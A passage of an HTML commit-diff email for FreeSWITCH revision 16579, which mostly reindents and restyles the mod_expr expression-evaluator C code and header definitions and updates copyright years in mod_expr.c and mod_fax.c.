+                *val = (d1 &lt; d2) ? 1.0 : 0.0;
+        } else
+                return err;
</ins><span class="cx"> 
</span><ins>+        break;
+}
+
</ins><span class="cx"> /* avg */
</span><span class="cx"> case EXPR_NODEFUNC_AVG:
</span><del>-    {
-    d2 = 0.0;
-    
-    for(pos = 0; pos &lt; nodes-&gt;data.function.nodecount; pos++)
-        {
-        err = exprEvalNode(obj, nodes-&gt;data.function.nodes, pos, &amp;d1);
-        if(!err)
-            {
-            d2 += d1;
-            }
-        else
-            return err;
-        }
</del><ins>+{
+        d2 = 0.0;
</ins><span class="cx"> 
</span><del>-    *val = d2 / (EXPRTYPE)(nodes-&gt;data.function.nodecount);
</del><ins>+        for (pos = 0; pos &lt; nodes-&gt;data.function.nodecount; pos++) {
+                err = exprEvalNode(obj, nodes-&gt;data.function.nodes, pos, &amp;d1);
+                if (!err) {
+                        d2 += d1;
+                } else
+                        return err;
+        }
</ins><span class="cx"> 
</span><del>-    break;
-    }
</del><ins>+        *val = d2 / (EXPRTYPE) (nodes-&gt;data.function.nodecount);
</ins><span class="cx"> 
</span><ins>+        break;
+}
+
</ins><span class="cx"> /* clip */
</span><span class="cx"> case EXPR_NODEFUNC_CLIP:
</span><del>-    {
-    EXPRTYPE v;
</del><ins>+{
+        EXPRTYPE v;
</ins><span class="cx"> 
</span><del>-    err = exprEvalNode(obj, nodes-&gt;data.function.nodes, 0, &amp;v);
</del><ins>+        err = exprEvalNode(obj, nodes-&gt;data.function.nodes, 0, &amp;v);
</ins><span class="cx"> 
</span><del>-    if(!err)
-        err = exprEvalNode(obj, nodes-&gt;data.function.nodes, 1, &amp;d1);
</del><ins>+        if (!err)
+                err = exprEvalNode(obj, nodes-&gt;data.function.nodes, 1, &amp;d1);
</ins><span class="cx"> 
</span><del>-    if(!err)
-        err = exprEvalNode(obj, nodes-&gt;data.function.nodes, 1, &amp;d2);
-    
-    if(!err)
-        {
-        if(v &lt; d1)
-            *val = d1;
-        else if(v &gt; d2)
-            *val = d2;
-        else
-            *val = v;
-        }
-    else
-        return err;
</del><ins>+        if (!err)
+                err = exprEvalNode(obj, nodes-&gt;data.function.nodes, 1, &amp;d2);
</ins><span class="cx"> 
</span><del>-    break;
-    }
</del><ins>+        if (!err) {
+                if (v &lt; d1)
+                        *val = d1;
+                else if (v &gt; d2)
+                        *val = d2;
+                else
+                        *val = v;
+        } else
+                return err;
</ins><span class="cx"> 
</span><ins>+        break;
+}
+
</ins><span class="cx"> /* clamp */
</span><span class="cx"> case EXPR_NODEFUNC_CLAMP:
</span><del>-    {
-    EXPRTYPE v, tmp;
</del><ins>+{
+        EXPRTYPE v, tmp;
</ins><span class="cx"> 
</span><del>-    err = exprEvalNode(obj, nodes-&gt;data.function.nodes, 0, &amp;v);
</del><ins>+        err = exprEvalNode(obj, nodes-&gt;data.function.nodes, 0, &amp;v);
</ins><span class="cx"> 
</span><del>-    if(!err)
-        err = exprEvalNode(obj, nodes-&gt;data.function.nodes, 1, &amp;d1);
</del><ins>+        if (!err)
+                err = exprEvalNode(obj, nodes-&gt;data.function.nodes, 1, &amp;d1);
</ins><span class="cx"> 
</span><del>-    if(!err)
-        err = exprEvalNode(obj, nodes-&gt;data.function.nodes, 1, &amp;d2);
-    
-    if(!err)
-        {
-        EXPR_RESET_ERR();
-        tmp = fmod(v - d1, d2 - d1);
-        EXPR_CHECK_ERR();
</del><ins>+        if (!err)
+                err = exprEvalNode(obj, nodes-&gt;data.function.nodes, 1, &amp;d2);
</ins><span class="cx"> 
</span><del>-        if(tmp &lt; 0.0)
-            *val = tmp * d2;
-        else
-            *val = tmp + d1;
-        }
-    else
-        return err;
</del><ins>+        if (!err) {
+                EXPR_RESET_ERR();
+                tmp = fmod(v - d1, d2 - d1);
+                EXPR_CHECK_ERR();
</ins><span class="cx"> 
</span><del>-    break;
-    }
</del><ins>+                if (tmp &lt; 0.0)
+                        *val = tmp * d2;
+                else
+                        *val = tmp + d1;
+        } else
+                return err;
</ins><span class="cx"> 
</span><ins>+        break;
+}
+
</ins><span class="cx"> /* pntchange */
</span><span class="cx"> case EXPR_NODEFUNC_PNTCHANGE:
</span><del>-    {
-    EXPRTYPE n1, n2, pnt;
-    EXPRTYPE odiff, ndiff, perc;
</del><ins>+{
+        EXPRTYPE n1, n2, pnt;
+        EXPRTYPE odiff, ndiff, perc;
</ins><span class="cx"> 
</span><del>-    err = exprEvalNode(obj, nodes-&gt;data.function.nodes, 0, &amp;d1);
</del><ins>+        err = exprEvalNode(obj, nodes-&gt;data.function.nodes, 0, &amp;d1);
</ins><span class="cx"> 
</span><del>-    if(!err)
-        err = exprEvalNode(obj, nodes-&gt;data.function.nodes, 1, &amp;d2);
</del><ins>+        if (!err)
+                err = exprEvalNode(obj, nodes-&gt;data.function.nodes, 1, &amp;d2);
</ins><span class="cx"> 
</span><del>-    if(!err)
-        err = exprEvalNode(obj, nodes-&gt;data.function.nodes, 2, &amp;n1);
</del><ins>+        if (!err)
+                err = exprEvalNode(obj, nodes-&gt;data.function.nodes, 2, &amp;n1);
</ins><span class="cx"> 
</span><del>-    if(!err)
-        err = exprEvalNode(obj, nodes-&gt;data.function.nodes, 3, &amp;n2);
</del><ins>+        if (!err)
+                err = exprEvalNode(obj, nodes-&gt;data.function.nodes, 3, &amp;n2);
</ins><span class="cx"> 
</span><del>-    if(!err)
-        err = exprEvalNode(obj, nodes-&gt;data.function.nodes, 4, &amp;pnt);
-    
-    if(!err)
-        {
-        odiff = d2 - d1;
-        ndiff = n2 - n1;
</del><ins>+        if (!err)
+                err = exprEvalNode(obj, nodes-&gt;data.function.nodes, 4, &amp;pnt);
</ins><span class="cx"> 
</span><del>-        if(odiff == 0.0)
-            {
-            *val = d1;
-            return EXPR_ERROR_NOERROR;
-            }
</del><ins>+        if (!err) {
+                odiff = d2 - d1;
+                ndiff = n2 - n1;
</ins><span class="cx"> 
</span><del>-        perc = (pnt - d1) / odiff;
</del><ins>+                if (odiff == 0.0) {
+                        *val = d1;
+                        return EXPR_ERROR_NOERROR;
+                }
</ins><span class="cx"> 
</span><del>-        *val = n1 + (perc * ndiff);
-        }
-    else
-        return err;
</del><ins>+                perc = (pnt - d1) / odiff;
</ins><span class="cx"> 
</span><del>-    break;
-    }
</del><ins>+                *val = n1 + (perc * ndiff);
+        } else
+                return err;
</ins><span class="cx"> 
</span><ins>+        break;
+}
+
</ins><span class="cx"> /* poly */
</span><span class="cx"> case EXPR_NODEFUNC_POLY:
</span><del>-    {
-    EXPRTYPE total, curpow;
</del><ins>+{
+        EXPRTYPE total, curpow;
</ins><span class="cx"> 
</span><del>-    err = exprEvalNode(obj, nodes-&gt;data.function.nodes, 0, &amp;d1);
</del><ins>+        err = exprEvalNode(obj, nodes-&gt;data.function.nodes, 0, &amp;d1);
</ins><span class="cx"> 
</span><del>-    if(!err)
-        {
-        curpow = (EXPRTYPE)(nodes-&gt;data.function.nodecount) - 2.0;
-        total = 0.0;
</del><ins>+        if (!err) {
+                curpow = (EXPRTYPE) (nodes-&gt;data.function.nodecount) - 2.0;
+                total = 0.0;
</ins><span class="cx"> 
</span><del>-        for(pos = 1; pos &lt; nodes-&gt;data.function.nodecount; pos++)
-            {
-            err = exprEvalNode(obj, nodes-&gt;data.function.nodes, pos, &amp;d2);
-            if(err)
-                return err;
</del><ins>+                for (pos = 1; pos &lt; nodes-&gt;data.function.nodecount; pos++) {
+                        err = exprEvalNode(obj, nodes-&gt;data.function.nodes, pos, &amp;d2);
+                        if (err)
+                                return err;
</ins><span class="cx"> 
</span><del>-            EXPR_RESET_ERR();
-            total = total + (d2 * pow(d1, curpow));
-            EXPR_CHECK_ERR();
</del><ins>+                        EXPR_RESET_ERR();
+                        total = total + (d2 * pow(d1, curpow));
+                        EXPR_CHECK_ERR();
</ins><span class="cx"> 
</span><del>-            curpow = curpow - 1.0;
-            }
-        }
-    else
-        return err;
</del><ins>+                        curpow = curpow - 1.0;
+                }
+        } else
+                return err;
</ins><span class="cx"> 
</span><del>-    *val = total;
-    break;
-    }
</del><ins>+        *val = total;
+        break;
+}
</ins><span class="cx"> 
</span><span class="cx"> /* and */
</span><span class="cx"> case EXPR_NODEFUNC_AND:
</span><del>-    {
-    err = exprEvalNode(obj, nodes-&gt;data.function.nodes, 0, &amp;d1);
-    
-    if(!err)
-        err = exprEvalNode(obj, nodes-&gt;data.function.nodes, 1, &amp;d2);
</del><ins>+{
+        err = exprEvalNode(obj, nodes-&gt;data.function.nodes, 0, &amp;d1);
</ins><span class="cx"> 
</span><del>-    if(!err)
-        {
-        if(d1 == 0.0 || d2 == 0.0)
-            *val = 0.0;
-        else
-            *val = 1.0;
-        }
-    else
-        return err;
</del><ins>+        if (!err)
+                err = exprEvalNode(obj, nodes-&gt;data.function.nodes, 1, &amp;d2);
</ins><span class="cx"> 
</span><del>-    break;
-    }
</del><ins>+        if (!err) {
+                if (d1 == 0.0 || d2 == 0.0)
+                        *val = 0.0;
+                else
+                        *val = 1.0;
+        } else
+                return err;
</ins><span class="cx"> 
</span><ins>+        break;
+}
+
</ins><span class="cx"> /* or */
</span><span class="cx"> case EXPR_NODEFUNC_OR:
</span><del>-    {
-    err = exprEvalNode(obj, nodes-&gt;data.function.nodes, 0, &amp;d1);
-    
-    if(!err)
-        err = exprEvalNode(obj, nodes-&gt;data.function.nodes, 1, &amp;d2);
</del><ins>+{
+        err = exprEvalNode(obj, nodes-&gt;data.function.nodes, 0, &amp;d1);
</ins><span class="cx"> 
</span><del>-    if(!err)
-        {
-        if(d1 != 0.0 || d2 != 0.0)
-            *val = 1.0;
-        else
-            *val = 0.0;
-        }
-    else
-        return err;
</del><ins>+        if (!err)
+                err = exprEvalNode(obj, nodes-&gt;data.function.nodes, 1, &amp;d2);
</ins><span class="cx"> 
</span><del>-    break;
-    }
</del><ins>+        if (!err) {
+                if (d1 != 0.0 || d2 != 0.0)
+                        *val = 1.0;
+                else
+                        *val = 0.0;
+        } else
+                return err;
</ins><span class="cx"> 
</span><ins>+        break;
+}
+
</ins><span class="cx"> /* not */
</span><span class="cx"> case EXPR_NODEFUNC_NOT:
</span><del>-    {
-    err = exprEvalNode(obj, nodes-&gt;data.function.nodes, 0, &amp;d1);
-    
-    if(!err)
-        {
-        if(d1 != 0.0)
-            *val = 0.0;
-        else
-            *val = 1.0;
-        }
-    else
-        return err;
</del><ins>+{
+        err = exprEvalNode(obj, nodes-&gt;data.function.nodes, 0, &amp;d1);
</ins><span class="cx"> 
</span><del>-    break;
-    }
</del><ins>+        if (!err) {
+                if (d1 != 0.0)
+                        *val = 0.0;
+                else
+                        *val = 1.0;
+        } else
+                return err;
</ins><span class="cx"> 
</span><ins>+        break;
+}
+
</ins><span class="cx"> /* for */
</span><span class="cx"> case EXPR_NODEFUNC_FOR:
</span><del>-    {
-    int tmppos;
-    EXPRTYPE test;
</del><ins>+{
+        int tmppos;
+        EXPRTYPE test;
</ins><span class="cx"> 
</span><del>-    err = exprEvalNode(obj, nodes-&gt;data.function.nodes, 0, &amp;d1);
-    
-    if(!err)
-        err = exprEvalNode(obj, nodes-&gt;data.function.nodes, 1, &amp;test);
</del><ins>+        err = exprEvalNode(obj, nodes-&gt;data.function.nodes, 0, &amp;d1);
</ins><span class="cx"> 
</span><del>-    if(!err)
-        {
-        while(test != 0.0)
-            {
-            for(tmppos = 3; tmppos &lt; nodes-&gt;data.function.nodecount; tmppos++)
-                {
-                err = exprEvalNode(obj, nodes-&gt;data.function.nodes, tmppos, val);
-                if(err)
-                    return err;
-                }
</del><ins>+        if (!err)
+                err = exprEvalNode(obj, nodes-&gt;data.function.nodes, 1, &amp;test);
</ins><span class="cx"> 
</span><del>-            err = exprEvalNode(obj, nodes-&gt;data.function.nodes, 2, &amp;d1);
-            if(err)
-                return err;
</del><ins>+        if (!err) {
+                while (test != 0.0) {
+                        for (tmppos = 3; tmppos &lt; nodes-&gt;data.function.nodecount; tmppos++) {
+                                err = exprEvalNode(obj, nodes-&gt;data.function.nodes, tmppos, val);
+                                if (err)
+                                        return err;
+                        }
</ins><span class="cx"> 
</span><del>-            err = exprEvalNode(obj, nodes-&gt;data.function.nodes, 1, &amp;test);
-            if(err)
-                return err;
-            }
-        }
-    else
-        return err;
</del><ins>+                        err = exprEvalNode(obj, nodes-&gt;data.function.nodes, 2, &amp;d1);
+                        if (err)
+                                return err;
</ins><span class="cx"> 
</span><del>-    break;
-    }
</del><ins>+                        err = exprEvalNode(obj, nodes-&gt;data.function.nodes, 1, &amp;test);
+                        if (err)
+                                return err;
+                }
+        } else
+                return err;
</ins><span class="cx"> 
</span><ins>+        break;
+}
+
</ins><span class="cx"> /* many */
</span><span class="cx"> case EXPR_NODEFUNC_MANY:
</span><del>-    {
-    for(pos = 0; pos &lt; nodes-&gt;data.function.nodecount; pos++)
-        {
-        err = exprEvalNode(obj, nodes-&gt;data.function.nodes, pos, val);
-        if(err)
-            return err;
-        }
</del><ins>+{
+        for (pos = 0; pos &lt; nodes-&gt;data.function.nodecount; pos++) {
+                err = exprEvalNode(obj, nodes-&gt;data.function.nodes, pos, val);
+                if (err)
+                        return err;
+        }
</ins><span class="cx"> 
</span><del>-    break;
-    }
-
</del><ins>+        break;
+}
</ins></span></pre></div>
<a id="freeswitchtrunksrcmodapplicationsmod_exprexprmemh"></a>
<div class="modfile"><h4>Modified: freeswitch/trunk/src/mod/applications/mod_expr/exprmem.h (16578 => 16579)</h4>
<pre class="diff"><span>
<span class="info">--- freeswitch/trunk/src/mod/applications/mod_expr/exprmem.h        2010-02-06 00:51:41 UTC (rev 16578)
+++ freeswitch/trunk/src/mod/applications/mod_expr/exprmem.h        2010-02-06 03:38:24 UTC (rev 16579)
</span><span class="lines">@@ -13,7 +13,7 @@
</span><span class="cx"> /* Needed for exprNode */
</span><span class="cx"> #include &quot;exprpriv.h&quot;
</span><span class="cx"> 
</span><del>-void* exprAllocMem(size_t size);
</del><ins>+void *exprAllocMem(size_t size);
</ins><span class="cx"> void exprFreeMem(void *data);
</span><span class="cx"> exprNode *exprAllocNodes(size_t count);
</span><span class="cx"> 
</span></span></pre></div>
<a id="freeswitchtrunksrcmodapplicationsmod_exprexprprivh"></a>
<div class="modfile"><h4>Modified: freeswitch/trunk/src/mod/applications/mod_expr/exprpriv.h (16578 => 16579)</h4>
<pre class="diff"><span>
<span class="info">--- freeswitch/trunk/src/mod/applications/mod_expr/exprpriv.h        2010-02-06 00:51:41 UTC (rev 16578)
+++ freeswitch/trunk/src/mod/applications/mod_expr/exprpriv.h        2010-02-06 03:38:24 UTC (rev 16579)
</span><span class="lines">@@ -30,196 +30,180 @@
</span><span class="cx"> #define EXPR_VERSIONMINOR 7
</span><span class="cx"> 
</span><span class="cx"> /* Node types */
</span><del>-enum
-    {
-    EXPR_NODETYPE_UNKNOWN = 0,
-    EXPR_NODETYPE_MULTI,
-    EXPR_NODETYPE_ADD,
-    EXPR_NODETYPE_SUBTRACT,
-    EXPR_NODETYPE_MULTIPLY,
-    EXPR_NODETYPE_DIVIDE,
-    EXPR_NODETYPE_EXPONENT,
-    EXPR_NODETYPE_NEGATE,
-    EXPR_NODETYPE_VALUE,
-    EXPR_NODETYPE_VARIABLE,
-    EXPR_NODETYPE_ASSIGN,
-    EXPR_NODETYPE_FUNCTION
-    };
</del><ins>+        enum {
+                EXPR_NODETYPE_UNKNOWN = 0,
+                EXPR_NODETYPE_MULTI,
+                EXPR_NODETYPE_ADD,
+                EXPR_NODETYPE_SUBTRACT,
+                EXPR_NODETYPE_MULTIPLY,
+                EXPR_NODETYPE_DIVIDE,
+                EXPR_NODETYPE_EXPONENT,
+                EXPR_NODETYPE_NEGATE,
+                EXPR_NODETYPE_VALUE,
+                EXPR_NODETYPE_VARIABLE,
+                EXPR_NODETYPE_ASSIGN,
+                EXPR_NODETYPE_FUNCTION
+        };
</ins><span class="cx"> 
</span><span class="cx"> /* Functions can be evaluated directly in EXPREVAL.  If fptr
</span><span class="cx">    is NULL, type is used to determine what the function is */
</span><del>-enum
-    {
-    EXPR_NODEFUNC_UNKNOWN = 0,
-    EXPR_NODEFUNC_ABS,
-    EXPR_NODEFUNC_MOD,
-    EXPR_NODEFUNC_IPART,
-    EXPR_NODEFUNC_FPART,
-    EXPR_NODEFUNC_MIN,
-    EXPR_NODEFUNC_MAX,
-    EXPR_NODEFUNC_POW,
-    EXPR_NODEFUNC_SQRT,
-    EXPR_NODEFUNC_SIN,
-    EXPR_NODEFUNC_SINH,
-    EXPR_NODEFUNC_ASIN,
-    EXPR_NODEFUNC_COS,
-    EXPR_NODEFUNC_COSH,
-    EXPR_NODEFUNC_ACOS,
-    EXPR_NODEFUNC_TAN,
-    EXPR_NODEFUNC_TANH,
-    EXPR_NODEFUNC_ATAN,
-    EXPR_NODEFUNC_ATAN2,
-    EXPR_NODEFUNC_LOG,
-    EXPR_NODEFUNC_POW10,
-    EXPR_NODEFUNC_LN,
-    EXPR_NODEFUNC_EXP,
-    EXPR_NODEFUNC_LOGN,
-    EXPR_NODEFUNC_CEIL,
-    EXPR_NODEFUNC_FLOOR,
-    EXPR_NODEFUNC_RAND,
-    EXPR_NODEFUNC_RANDOM,
-    EXPR_NODEFUNC_RANDOMIZE,
-    EXPR_NODEFUNC_DEG,
-    EXPR_NODEFUNC_RAD,
-    EXPR_NODEFUNC_RECTTOPOLR,
-    EXPR_NODEFUNC_RECTTOPOLA,
-    EXPR_NODEFUNC_POLTORECTX,
-    EXPR_NODEFUNC_POLTORECTY,
-    EXPR_NODEFUNC_IF,
-    EXPR_NODEFUNC_SELECT,
-    EXPR_NODEFUNC_EQUAL,
-    EXPR_NODEFUNC_ABOVE,
-    EXPR_NODEFUNC_BELOW,
-    EXPR_NODEFUNC_AVG,
-    EXPR_NODEFUNC_CLIP,
-    EXPR_NODEFUNC_CLAMP,
-    EXPR_NODEFUNC_PNTCHANGE,
-    EXPR_NODEFUNC_POLY,
-    EXPR_NODEFUNC_AND,
-    EXPR_NODEFUNC_OR,
-    EXPR_NODEFUNC_NOT,
-    EXPR_NODEFUNC_FOR,
-    EXPR_NODEFUNC_MANY
-    };
</del><ins>+        enum {
+                EXPR_NODEFUNC_UNKNOWN = 0,
+                EXPR_NODEFUNC_ABS,
+                EXPR_NODEFUNC_MOD,
+                EXPR_NODEFUNC_IPART,
+                EXPR_NODEFUNC_FPART,
+                EXPR_NODEFUNC_MIN,
+                EXPR_NODEFUNC_MAX,
+                EXPR_NODEFUNC_POW,
+                EXPR_NODEFUNC_SQRT,
+                EXPR_NODEFUNC_SIN,
+                EXPR_NODEFUNC_SINH,
+                EXPR_NODEFUNC_ASIN,
+                EXPR_NODEFUNC_COS,
+                EXPR_NODEFUNC_COSH,
+                EXPR_NODEFUNC_ACOS,
+                EXPR_NODEFUNC_TAN,
+                EXPR_NODEFUNC_TANH,
+                EXPR_NODEFUNC_ATAN,
+                EXPR_NODEFUNC_ATAN2,
+                EXPR_NODEFUNC_LOG,
+                EXPR_NODEFUNC_POW10,
+                EXPR_NODEFUNC_LN,
+                EXPR_NODEFUNC_EXP,
+                EXPR_NODEFUNC_LOGN,
+                EXPR_NODEFUNC_CEIL,
+                EXPR_NODEFUNC_FLOOR,
+                EXPR_NODEFUNC_RAND,
+                EXPR_NODEFUNC_RANDOM,
+                EXPR_NODEFUNC_RANDOMIZE,
+                EXPR_NODEFUNC_DEG,
+                EXPR_NODEFUNC_RAD,
+                EXPR_NODEFUNC_RECTTOPOLR,
+                EXPR_NODEFUNC_RECTTOPOLA,
+                EXPR_NODEFUNC_POLTORECTX,
+                EXPR_NODEFUNC_POLTORECTY,
+                EXPR_NODEFUNC_IF,
+                EXPR_NODEFUNC_SELECT,
+                EXPR_NODEFUNC_EQUAL,
+                EXPR_NODEFUNC_ABOVE,
+                EXPR_NODEFUNC_BELOW,
+                EXPR_NODEFUNC_AVG,
+                EXPR_NODEFUNC_CLIP,
+                EXPR_NODEFUNC_CLAMP,
+                EXPR_NODEFUNC_PNTCHANGE,
+                EXPR_NODEFUNC_POLY,
+                EXPR_NODEFUNC_AND,
+                EXPR_NODEFUNC_OR,
+                EXPR_NODEFUNC_NOT,
+                EXPR_NODEFUNC_FOR,
+                EXPR_NODEFUNC_MANY
+        };
</ins><span class="cx"> 
</span><span class="cx"> /* Forward declarations */
</span><del>-typedef struct _exprFunc exprFunc;
-typedef struct _exprVal exprVal;
</del><ins>+        typedef struct _exprFunc exprFunc;
+        typedef struct _exprVal exprVal;
</ins><span class="cx"> 
</span><span class="cx"> /* Expression object */
</span><del>-struct _exprObj
-    {
-    struct _exprFuncList *flist; /* Functions */
-    struct _exprValList *vlist; /* Variables */
-    struct _exprValList *clist; /* Constants */
-    struct _exprNode *headnode; /* Head parsed node */
</del><ins>+        struct _exprObj {
+                struct _exprFuncList *flist;        /* Functions */
+                struct _exprValList *vlist;        /* Variables */
+                struct _exprValList *clist;        /* Constants */
+                struct _exprNode *headnode;        /* Head parsed node */
</ins><span class="cx"> 
</span><del>-    exprBreakFuncType breakerfunc; /* Break function type */
</del><ins>+                exprBreakFuncType breakerfunc;        /* Break function type */
</ins><span class="cx"> 
</span><del>-    void *userdata; /* User data, can be any 32 bit value */
-    int parsedgood; /* non-zero if successfully parsed */
-    int parsedbad; /* non-zero if parsed but unsuccessful */
-    int breakcount; /* how often to check the breaker function */
-    int breakcur; /* do we check the breaker function yet */
-    int starterr; /* start position of an error */
-    int enderr; /* end position of an error */
-    };
</del><ins>+                void *userdata;                        /* User data, can be any 32 bit value */
+                int parsedgood;                        /* non-zero if successfully parsed */
+                int parsedbad;                        /* non-zero if parsed but unsuccessful */
+                int breakcount;                        /* how often to check the breaker function */
+                int breakcur;                        /* do we check the breaker function yet */
+                int starterr;                        /* start position of an error */
+                int enderr;                                /* end position of an error */
+        };
</ins><span class="cx"> 
</span><span class="cx"> /* Object for a function */
</span><del>-struct _exprFunc
-    {
-    char *fname; /* Name of the function */
-    exprFuncType fptr; /* Function pointer */
-    int min, max; /* Min and max args for the function. */
-    int refmin, refmax; /* Min and max ref. variables for the function */
-    int type; /* Function node type.  exprEvalNOde solves the function */
</del><ins>+        struct _exprFunc {
+                char *fname;                        /* Name of the function */
+                exprFuncType fptr;                /* Function pointer */
+                int min, max;                        /* Min and max args for the function. */
+                int refmin, refmax;                /* Min and max ref. variables for the function */
+                int type;                                /* Function node type.  exprEvalNOde solves the function */
</ins><span class="cx"> 
</span><del>-    struct _exprFunc *next; /* For linked list */
-    };
</del><ins>+                struct _exprFunc *next;        /* For linked list */
+        };
</ins><span class="cx"> 
</span><span class="cx"> /* Function list object */
</span><del>-struct _exprFuncList
-    {
-    struct _exprFunc *head;
-    };
</del><ins>+        struct _exprFuncList {
+                struct _exprFunc *head;
+        };
</ins><span class="cx"> 
</span><span class="cx"> /* Object for values */
</span><del>-struct _exprVal
-    {
-    char *vname; /* Name of the value */
-    EXPRTYPE vval; /* Value of the value */
-    EXPRTYPE *vptr; /* Pointer to a value.  Used only if not NULL */
</del><ins>+        struct _exprVal {
+                char *vname;                        /* Name of the value */
+                EXPRTYPE vval;                        /* Value of the value */
+                EXPRTYPE *vptr;                        /* Pointer to a value.  Used only if not NULL */
</ins><span class="cx"> 
</span><del>-    struct _exprVal *next; /* For linked list */
-    };
</del><ins>+                struct _exprVal *next;        /* For linked list */
+        };
</ins><span class="cx"> 
</span><span class="cx"> /* Value list */
</span><del>-struct _exprValList
-    {
-    struct _exprVal *head;
-    };
</del><ins>+        struct _exprValList {
+                struct _exprVal *head;
+        };
</ins><span class="cx"> 
</span><span class="cx"> /* Expression node type */
</span><del>-struct _exprNode
-    {
-    int type; /* Node type */
</del><ins>+        struct _exprNode {
+                int type;                                /* Node type */
</ins><span class="cx"> 
</span><del>-    union _data /* Union of info for various types */
-        {
-        struct _oper
-            {
-            struct _exprNode *nodes; /* Operation arguments */
-            int nodecount; /* Number of arguments */
-            } oper;
</del><ins>+                union _data {                        /* Union of info for various types */
+                        struct _oper {
+                                struct _exprNode *nodes;        /* Operation arguments */
+                                int nodecount;        /* Number of arguments */
+                        } oper;
</ins><span class="cx"> 
</span><del>-        struct _variable
-            {
-            EXPRTYPE *vaddr; /* Used if EXPR_FAST_VAR_ACCESS defined */
-            } variable;
</del><ins>+                        struct _variable {
+                                EXPRTYPE *vaddr;        /* Used if EXPR_FAST_VAR_ACCESS defined */
+                        } variable;
</ins><span class="cx"> 
</span><del>-        struct _value
-            {
-            EXPRTYPE value; /* Value if type is value */
-            } value;
</del><ins>+                        struct _value {
+                                EXPRTYPE value;        /* Value if type is value */
+                        } value;
</ins><span class="cx"> 
</span><del>-        struct _assign /* Assignment struct */
-            {
-            EXPRTYPE *vaddr; /* Used if EXPR_FAST_VAR_ACCESS defined */
-            struct _exprNode *node; /* Node to evaluate */
-            } assign;
</del><ins>+                        struct _assign {        /* Assignment struct */
+                                EXPRTYPE *vaddr;        /* Used if EXPR_FAST_VAR_ACCESS defined */
+                                struct _exprNode *node;        /* Node to evaluate */
+                        } assign;
</ins><span class="cx"> 
</span><del>-        struct _function
-            {
-            exprFuncType fptr; /* Function pointer */
-            struct _exprNode *nodes; /* Array of argument nodes */
-            int nodecount; /* Number of argument nodes */
-            EXPRTYPE **refs; /* Reference variables */
-            int refcount; /* Number of variable references (not a reference counter) */
-            int type; /* Type of function for exprEvalNode if fptr is NULL */
-            } function;
-        } data;
-    };
</del><ins>+                        struct _function {
+                                exprFuncType fptr;        /* Function pointer */
+                                struct _exprNode *nodes;        /* Array of argument nodes */
+                                int nodecount;        /* Number of argument nodes */
+                                EXPRTYPE **refs;        /* Reference variables */
+                                int refcount;        /* Number of variable references (not a reference counter) */
+                                int type;                /* Type of function for exprEvalNode if fptr is NULL */
+                        } function;
+                } data;
+        };
</ins><span class="cx"> 
</span><span class="cx"> 
</span><span class="cx"> 
</span><span class="cx"> /* Functions for function lists */
</span><del>-int exprFuncListAddType(exprFuncList *flist, char *name, int type, int min, int max, int refmin, int refmax);
-int exprFuncListGet(exprFuncList *flist, char *name, exprFuncType *ptr, int *type, int *min, int *max, int *refmin, int *refmax);
</del><ins>+        int exprFuncListAddType(exprFuncList * flist, char *name, int type, int min, int max, int refmin, int refmax);
+        int exprFuncListGet(exprFuncList * flist, char *name, exprFuncType * ptr, int *type, int *min, int *max, int *refmin, int *refmax);
</ins><span class="cx"> 
</span><span class="cx"> #ifdef WIN32
</span><span class="cx"> #define SWITCH_DECLARE(type)                        __declspec(dllimport) type __stdcall
</span><span class="cx"> #else
</span><del>-#define SWITCH_DECLARE(type) type 
</del><ins>+#define SWITCH_DECLARE(type) type
</ins><span class="cx"> #endif
</span><span class="cx"> 
</span><del>-SWITCH_DECLARE(int) switch_isalnum(int c);
-SWITCH_DECLARE(int) switch_isalpha(int c);
-SWITCH_DECLARE(int) switch_isdigit(int c);
-SWITCH_DECLARE(int) switch_isspace(int c);
</del><ins>+            SWITCH_DECLARE(int) switch_isalnum(int c);
+            SWITCH_DECLARE(int) switch_isalpha(int c);
+            SWITCH_DECLARE(int) switch_isdigit(int c);
+            SWITCH_DECLARE(int) switch_isspace(int c);
</ins><span class="cx"> 
</span><span class="cx"> #ifdef __cplusplus
</span><span class="cx"> }
</span><span class="cx"> #endif
</span><del>-
-#endif /* __BAVII_EXPRPRIV_H */
-
</del><ins>+#endif                                                        /* __BAVII_EXPRPRIV_H */
</ins></span></pre></div>
<a id="freeswitchtrunksrcmodapplicationsmod_exprmod_exprc"></a>
<div class="modfile"><h4>Modified: freeswitch/trunk/src/mod/applications/mod_expr/mod_expr.c (16578 => 16579)</h4>
<pre class="diff"><span>
<span class="info">--- freeswitch/trunk/src/mod/applications/mod_expr/mod_expr.c        2010-02-06 00:51:41 UTC (rev 16578)
+++ freeswitch/trunk/src/mod/applications/mod_expr/mod_expr.c        2010-02-06 03:38:24 UTC (rev 16579)
</span><span class="lines">@@ -1,6 +1,6 @@
</span><span class="cx"> /* 
</span><span class="cx">  * FreeSWITCH Modular Media Switching Software Library / Soft-Switch Application
</span><del>- * Copyright (C) 2005-2009, Anthony Minessale II &lt;anthm@freeswitch.org&gt;
</del><ins>+ * Copyright (C) 2005-2010, Anthony Minessale II &lt;anthm@freeswitch.org&gt;
</ins><span class="cx">  *
</span><span class="cx">  * Version: MPL 1.1
</span><span class="cx">  *
</span></span></pre></div>
<a id="freeswitchtrunksrcmodapplicationsmod_faxmod_faxc"></a>
<div class="modfile"><h4>Modified: freeswitch/trunk/src/mod/applications/mod_fax/mod_fax.c (16578 => 16579)</h4>
<pre class="diff"><span>
<span class="info">--- freeswitch/trunk/src/mod/applications/mod_fax/mod_fax.c        2010-02-06 00:51:41 UTC (rev 16578)
+++ freeswitch/trunk/src/mod/applications/mod_fax/mod_fax.c        2010-02-06 03:38:24 UTC (rev 16579)
</span><span class="lines">@@ -1,6 +1,6 @@
</span><span class="cx"> /* 
</span><span class="cx">  * FreeSWITCH Modular Media Switching Software Library / Soft-Switch Application
</span><del>- * Copyright (C) 2005-2009, Anthony Minessale II &lt;anthm@freeswitch.org&gt;
</del><ins>+ * Copyright (C) 2005-2010, Anthony Minessale II &lt;anthm@freeswitch.org&gt;
</ins><span class="cx">  *
</span><span class="cx">  * Version: MPL 1.1
</span><span class="cx">  *
</span><span class="lines">@@ -88,12 +88,12 @@
</span><span class="cx"> 
</span><span class="cx">         int tx_page_start;
</span><span class="cx">         int tx_page_end;
</span><del>-        
</del><ins>+
</ins><span class="cx">         int done;
</span><span class="cx"> 
</span><span class="cx">         /* UNUSED AT THE MOMENT
</span><span class="cx">            int          enable_t38_reinvite;
</span><del>-        */
</del><ins>+         */
</ins><span class="cx"> 
</span><span class="cx"> };
</span><span class="cx"> 
</span><span class="lines">@@ -141,7 +141,7 @@
